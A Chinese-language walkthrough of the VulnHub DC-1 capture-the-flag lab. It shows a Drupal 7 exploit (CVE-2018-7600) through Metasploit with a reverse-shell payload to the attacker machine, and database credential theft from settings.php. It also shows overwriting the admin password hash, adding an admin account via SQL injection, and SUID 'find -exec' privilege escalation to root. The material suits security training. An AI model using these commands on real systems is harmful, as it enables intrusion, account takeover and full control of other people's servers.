靶机配置说明:
靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/
靶机:DC1 (VirtualBox) IP:192.168.56.110
攻击机:Kali(VMware) IP:192.168.56.108
在下载地址中有详细的靶机说明,而DC-1需要寻找的flag总数为5个。
靶机环境配置:
将靶机和kali都桥接到同一张网卡即可,这里我都桥接到virtualBox的Host-only网卡,保证无干扰目标。
靶机渗透开始:
首先查看Kali的ip得到192.168.56.108
确定目标ip:
使用netdiscover或者arp-scan -I探测目标IP
确定目标为192.168.56.110
端口扫描:
nmap -sC -sV -A -p- 192.168.56.110
开放端口:
22、80、111、35593
常用的端口是22和80,但也要注意一些特殊的端口可能也存在漏洞。
访问80端口:
通过插件可以看到该CMS为Drupal 7
常规扫描下目录:
也没扫到什么很有用的信息,直接使用msf找下有没有可用的漏洞
msf漏洞利用:
知道了CMS是Drupal 7,我们可以搜一下有什么漏洞
可以发现爆出过一个CVE-2018-7600
,分析:http://blog.nsfocus.net/cve-2018-7600-drupal-7-x/
直接使用metasploit工具对漏洞进行利用。
首先搜索下搜索drupal相关模块:
直接使用2018的exp,前面我们已经查询CVE-2018-7600是常见的漏洞。如果不知道的情况下,我们就需要一个个攻击模块的尝试。
选择对应攻击模块:
use exploit/unix/webapp/drupal_drupalgeddon2
设置payload:
set payload php/meterpreter/reverse_tcp
设置RHOSTS、LHOST:
set RHOSTS 192.168.56.110
set LHOST 192.168.56.108
run/exploit
直接拿到一个meterpreter会话,直接反弹一个shell
切换到交互式shell:
成功拿到第一个flag
获取敏感信息:
提示:每一个好的CMS都需要一个配置文件,你也是。
直接找drupal 7配置文件位置sites/default/settings.php
拿到第二个flag和数据库账户密码,flag2的提示的意思是不一定需要爆破;
重置管理员密码:
直接登录数据库,查看是否有flag线索,
有一个user表,查看下表里的内容,可以看到账户和加密的密码
这里我们所要做的就是如何重置掉管理员的密码
密码加密且不是md5方式。密码的加密方式是接下来的关键。
Drupal 7已不再采用Drupal 6和5简单的MD5加密,而是采用一种新型的Hash加密方法。新型加密方法是“加了盐(Salt)”的MD5码,简单理解就是并不会直接将password进行MD5加密,而会和用户名或其它随机字符串组合在一起后再MD5加密。
而drupal 7
的加密脚本位置在网站根目录下的scripts下,使用加密脚本加密新密码Keepb1ue,生成加密密文。
接下来我们要做的就是直接进数据库将admin的密码更新为我们的密码
update users set pass="$SDJezkMF8T7AYrXNsPKAKXFYE5nh/cmfDQMhbQr8IUtBwrbN.1t1N" where uid = 1;
修改成功后,尝试用admin:Keepb1ue尝试登陆
登陆成功后,在content找到第三个flag
当然。不止只有修改管理员密码这种方法,还可以添加管理员账户
添加管理员用户:
首先查看drupal的具体版本
通过searchsploit
再根据具体版本找下exp
根据版本,找到sql注入脚本可以直接添加管理员用户
版本要小于 7.31,符合要求,直接使用
添加成功,尝试登陆
也是可以成功登陆的,这样也是可以拿到第三个flag。
flag3的提示:Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
直接查看/etc/passwd
很明显有个flag4用户,而第四个flag,很可能就在其家目录下,试着去查看该目录
顺利得到flag4,同时获得提示:需要用相同的方法在root目录下找到最终flag。
也就是说最后的flag在root目录下。
suid提权:
直接进/root目录看看
是没有权限进去,很明显是需要进行提权的,尝试使用suid提权
首先找具有root权限的其他命令,以下几条都可进行查询:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb { }
在这里发现find是root权限,也就是find执行的操作都是root权限
find命令是用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件,并将查找到的子目录和文件全部进行显示。
而find
命令有一个-exec
选项
-exec<执行指令>:假设find指令的回传值为True,就执行该指令
那这里的话就可以使用拥有root权限的find来创建一个shell。
在这里直接使用进行提权
touch test
find test -exec whoami \;
find test -exec '/bin/sh' \;
直接拿到一个最高权限shell
拿到最后一个flag!